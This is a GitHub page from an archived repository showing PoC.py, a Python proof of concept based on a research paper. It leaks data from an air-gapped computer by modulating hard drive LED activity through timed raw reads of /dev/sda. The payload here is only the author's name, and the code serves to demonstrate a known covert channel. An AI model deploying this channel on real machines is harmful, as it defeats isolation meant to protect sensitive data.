This repository has been archived by the owner on Nov 15, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 3
/
PoC.py
90 lines (68 loc) · 1.89 KB
/
PoC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python
# Proof of concept for data exfiltration through HDD Activity Led
# Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED
# Based on paper http://cyber.bgu.ac.il/advanced-cyber/system/files/LED-it-GO_0.pdf
# Dario Clavijo 2017
import os
import time
import zlib
import binascii
BLOCK_SIZE = 512
if hasattr(os, 'sync'):
sync = os.sync
else:
import ctypes
libc = ctypes.CDLL("libc.so.6")
def sync():
libc.sync()
def transmit_bits(tmpfile, bits, T0, readsize):
sync() # drop cache
fp = open(tmpfile)
offset = 0
offsetincrement = BLOCK_SIZE
fp.seek(offset)
for b in list(bits):
# sync()
if b == '0':
print(f"0 sleep {str(T0)}")
time.sleep(T0)
elif b == '1':
sync()
fp.seek(offset)
print("1 read %d bytes" % len(fp.read(readsize)))
offset += offsetincrement
def manchester(bits):
r = ""
for b in list(bits):
if b == '0':
r += '01'
elif b == '1':
r += '10'
return r
def itob(i):
return bin(i).replace('0b', '')
def atob(a):
return itob(int(binascii.hexlify(a), 16))
def itob32(i):
return itob(i).zfill(32)
def itob16(i):
return itob(i).zfill(16)
def transmit_packet(payload):
preamble = "10101010"
payload_size = len(payload)
payload = payload.encode('utf8')
print("preamble, size, payload, crc32")
print(preamble, itob16(payload_size),
atob(payload),
itob32(zlib.crc32(payload)))
dataONOFF = manchester(preamble +
itob16(payload_size) +
atob(payload) +
itob32(zlib.crc32(payload)))
time.sleep(1)
transmit_bits('/dev/sda', dataONOFF, 0.01, 4096)
def main():
while True:
transmit_packet("Dario Clavijo")
if __name__ == "__main__":
main()